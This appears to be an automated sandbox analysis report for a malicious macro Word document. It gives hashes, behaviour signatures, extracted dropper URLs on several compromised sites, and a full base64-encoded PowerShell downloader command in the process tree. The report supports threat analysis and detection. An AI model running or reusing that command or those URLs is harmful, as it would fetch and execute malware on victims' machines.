Analysis

  • max time kernel
    119s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    12/05/2024, 07:42

General

  • Target

    3900f57d0cbad0a759faa43fb1a8b88f_JaffaCakes118.doc

  • Size

    192KB

  • MD5

    3900f57d0cbad0a759faa43fb1a8b88f

  • SHA1

    3f647931c77f2ab49f285e1a9838deab7e3c449f

  • SHA256

    6176a4b0335761a51b3ccda4f327807782d3be21fe059f2419327b75d42fb5ae

  • SHA512

    e09ea7d01e403d77a0dc85d4ee9cab2e0b4d15287037c57e44f3c1dee7fea864432a2f8e43b4aa4d82ffae3060cff60f058f20d3bb4f0b0ba9b70f8a4d3ee941

  • SSDEEP

    1536:+rdi1Ir77zOH98Wj2gpng9+a95k1qlDba/qrHEs+nPyNdOx7/eF:+rfrzOH98ipgDva/qTX+nPyLOBmF

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://zplusshopping.com/wp-content/plugins/8ek/

exe.dropper

https://www.cupgel.com/__MACOSX/3/

exe.dropper

http://freespiritmind.com/MASD/HowTo/css/J/

exe.dropper

http://crewnecksusa.com/wp-content/NJ/

exe.dropper

http://www.dougsuniverse.com/pics/yL8/

exe.dropper

https://idilsoft.com/admin/B/

exe.dropper

https://guhaasmart.com/wp-content/s/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3900f57d0cbad0a759faa43fb1a8b88f_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1708
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2180
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -en JABHAHkAZwBwAG8AaAA1AD0AKAAnAE8AYQAnACsAJwBzACcAKwAoACcAaQAnACsAJwBzADMAcAAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAGUAUgBwAFIAbwBGAEkATABlAFwAVwBjADUAUwB1AHcAZABcAGkASgB6AGUAcgBsAEQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAHQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAHUAUgBJAGAAVABgAHkAYABwAGAAUgBvAHQAbwBgAGMAbwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAyACcAKQArACgAJwAsACAAJwArACcAdABsACcAKQArACgAJwBzACcAKwAnADEAMQAsACcAKQArACgAJwAgACcAKwAnAHQAbABzACcAKQApADsAJABBAGwAMQBvADQAcwAwACAAPQAgACgAKAAnAEYAMQAnACsAJwByAHgAJwApACsAKAAnAGcANAAnACsAJwB2ACcAKQArACcANwAnACkAOwAkAFkAMQBjAGgAaABwAHoAPQAoACgAJwBCACcAKwAnAGYAZgBsAHQAJwApACsAJwB2ACcAKwAnAHkAJwApADsAJABNAHgAcQBiAGwANwBsAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAZABWAFgAJwArACcAVwBjADUAJwApACsAJwBzACcAKwAnAHUAJwArACgAJwB3AGQAJwArACcAZAAnACkAKwAoACcAVgBYACcAKwAnAEkAJwApACsAKAAnAGoAJwArACcAegBlACcAKwAnAHIAbABkAGQAVgBYACcAKQApACAAIAAtAHIARQBQAGwAQQBDAEUAIAAoAFsAQwBoAEEAUgBdADEAMAAwACsAWwBDAGgAQQBSAF0AOAA2ACsAWwBDAGgAQQBSAF0AOAA4ACkALABbAEMAaABBAFIAXQA5ADIAKQArACQAQQBsADEAbwA0AHMAMAArACgAKAAnAC4AZQAnACsAJwB4ACcAKQArACcAZQAnACkAOwAkAFgAOQB0AGQANgBfAHUAPQAoACcAQQAnACsAJwA4ADMAJwArACgAJwA1ACcAKwAnAHEAcgBxACcAKQApADsAJABRAHUAMwB5AGMANQBqAD0AJgAoACcAbgBlAHcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABOAGUAVAAuAFcARQBCAEMAbABJAEUATgB0ADsAJABWADcAOABzAHUAaABmAD0AKAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAJwB6ACcAKwAnAHAAJwArACcAbAB1ACcAKwAnAHMAJwArACcAcwAnACsAKAAnAGgAJwArACcAbwBwAHAAJwArACcAaQBuAGcAJwApACsAJwAuAGMAJwArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3AHAALQAnACkAKwAnAGMAJwArACcAbwBuACcAKwAnAHQAZQAnACsAJwBuAHQAJwArACgAJwAvAHAAJwArACcAbAAnACkAKwAoACcAdQBnAGkAJwArACcAbgAnACkAKwAnAHMALwAnACsAKAAnADgAZQBrACcAKwAnAC8AJwApACsAKAAnACoAaAAnACsAJwB0AHQAcAAnACkAKwAnAHMAJwArACgAJwA6AC8AJwArACcALwB3ACcAKQArACcAdwB3ACcAKwAnAC4AYwAnACsAKAAnAHUAcABnAGUAJwArACcAbAAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwAnACsAJwBfACcAKwAnAF8ATQBBAEMATwBTAFgAJwArACcALwAzACcAKwAnAC8AKgBoAHQAJwApACsAJwB0ACcAKwAoACcAcAA6ACcAKwAnAC8ALwAnACkAKwAnAGYAcgAnACsAKAAnAGUAZQBzACcAKwAnAHAAJwApACsAJwBpACcAKwAoACcAcgBpAHQAbQBpAG4AZAAnACsAJwAuAGMAJwArACcAbwBtACcAKQArACgAJwAvACcAKwAnAE0AQQBTAEQALwBIACcAKwAnAG8AdwAnACkAKwAoACcAVAAnACsAJwBvAC8AYwBzACcAKQArACcAcwAnACsAKAAnAC8ASgAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAOgAnACsAJwAvAC8AYwByACcAKQArACcAZQAnACsAKAAnAHcAJwArACcAbgBlACcAKQArACgAJwBjACcAKwAnAGsAcwAnACkAKwAoACcAdQAnACsAJwBzAGEAJwApACsAKAAnAC4AYwBvACcAKwAnAG0AJwApACsAKAAnAC8AJwArACcAdwBwACcAKQArACgAJwAtAGMAbwAnACsAJwBuAHQAJwApACsAJwBlAG4AJwArACgAJwB0AC8ATgBKACcAKwAnAC8AKgAnACsAJwBoAHQAdAAnACkAKwAnAHAAOgAnACsAKAAnAC8ALwB3ACcAKwAnAHcAdwAuACcAKwAnAGQAbwAnACkAKwAnAHUAZwAnACsAJwBzAHUAJwArACgAJwBuAGkAJwArACcAdgBlACcAKQArACcAcgBzACcAKwAnAGUALgAnACsAJwBjACcAKwAoACcAbwAnACsAJwBtAC8AJwApACsAJwBwAGkAJwArACcAYwBzACcAKwAnAC8AeQAnACsAKAAnAEwAOAAvACcAKwAnACoAJwArACcAaAB0AHQAcAAnACkAKwAoACcAcwA6AC8ALwBpAGQAaQBsACcAKwAnAHMAJwArACcAbwAnACkAKwAoACcAZgB0AC4AJwArACcAYwAnACkAKwAnAG8AJwArACgAJwBtAC8AYQBkAG0AaQAnACsAJwBuAC8AQgAvACcAKwAnACoAaAAnACsAJwB0ACcAKQArACcAdABwACcAKwAnAHMAJwArACgAJwA6ACcAKwAnAC8ALwBnAHUAJwArACcAaABhAGEAJwArACcAcwAnACkAKwAnAG0AJwArACcAYQAnACsAJwByACcAKwAoACcAdAAuACcAKwAnAGMAbwBtACcAKQArACgAJwAvAHcAJwArACcAcAAnACkAKwAnAC0AYwAnACsAJwBvAG4AJwArACcAdAAnACsAJwBlACcAKwAnAG4AJwArACcAdAAnACsAJwAvACcAKwAnAHMALwAnACkALgAiAFMAcABsAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASAA3AHEAcgAyADIAbgA9ACgAJwBVAGEAJwArACgAJwBxACcAKwAnAHcAagBuAHkAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABFAGYAeQBuADEAXwBrACAAaQBuACAAJABWADcAOABzAHUAaABmACkAewB0AHIAeQB7ACQAUQB1ADMAeQBjADUAagAuACIAZABgAE8AVwBuAGAATABvAEEAZABmAGkAbABlACIAKAAkAEUAZgB5AG4AMQBfAGsALAAgACQATQB4AHEAYgBsADcAbAApADsAJABWAG8AawA3AGIANAB6AD0AKAAoACcARQBpACcAKwAnAGgAawAnACkAKwAoACcAeAAnACsAJwA3ADMAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQATQB4AHEAYgBsADcAbAApAC4AIgBsAGAAZQBgAE4AZwBUAGgAIgAgAC0AZwBlACAAMwAxADcAMQA2ACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AawAnACsAJwBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAE0AeABxAGIAbAA3AGwAKQA7ACQAQgBhAHgAZgBnAHMAZgA9ACgAJwBZAGsAJwArACcANQAnACsAKAAnAHUAJwArACcAOQB2AHgAJwApACkAOwBiAHIAZQBhAGsAOwAkAFIAYQBiAGgAdQBjAHMAPQAoACgAJwBNACcAKwAnAGwAdAAnACkAKwAoACcAdQAnACsAJwBjADAAOQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwA5AGgAbQBiAF8AeAA9ACgAKAAnAEQAbAAnACsAJwBkACcAKQArACgAJwBzADYAbwAnACsAJwBoACcAKQApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2652

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      aaede0226fdd8bde4e3e3f5e0a412913

      SHA1

      a3a5607e92f3d2dbe645772542e305ea05deceb3

      SHA256

      1d9f8724364693ecf230ea58932245c05ad51361aff565c8fc3519b3e065237a

      SHA512

      79995ef0621f105c3707ad4f0645570e58a9bf1e059b894fce9294e4eec352c187efdcf44bfe47b6dbf5faf7f0dcf9a5676bccede920849b83728fa2d1c67ffa

    • memory/1708-33-0x00000000058A0000-0x00000000059A0000-memory.dmp

      Filesize

      1024KB

    • memory/1708-2-0x0000000070F0D000-0x0000000070F18000-memory.dmp

      Filesize

      44KB

    • memory/1708-6-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1708-7-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1708-8-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1708-13-0x00000000058A0000-0x00000000059A0000-memory.dmp

      Filesize

      1024KB

    • memory/1708-22-0x00000000058A0000-0x00000000059A0000-memory.dmp

      Filesize

      1024KB

    • memory/1708-27-0x00000000058A0000-0x00000000059A0000-memory.dmp

      Filesize

      1024KB

    • memory/1708-0-0x000000002F241000-0x000000002F242000-memory.dmp

      Filesize

      4KB

    • memory/1708-32-0x00000000058A0000-0x00000000059A0000-memory.dmp

      Filesize

      1024KB

    • memory/1708-45-0x0000000070F0D000-0x0000000070F18000-memory.dmp

      Filesize

      44KB

    • memory/1708-71-0x0000000070F0D000-0x0000000070F18000-memory.dmp

      Filesize

      44KB

    • memory/1708-70-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1708-46-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1708-48-0x00000000058A0000-0x00000000059A0000-memory.dmp

      Filesize

      1024KB

    • memory/1708-51-0x00000000058A0000-0x00000000059A0000-memory.dmp

      Filesize

      1024KB

    • memory/1708-54-0x00000000058A0000-0x00000000059A0000-memory.dmp

      Filesize

      1024KB

    • memory/1708-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2652-39-0x000000001B330000-0x000000001B612000-memory.dmp

      Filesize

      2.9MB

    • memory/2652-40-0x0000000001D30000-0x0000000001D38000-memory.dmp

      Filesize

      32KB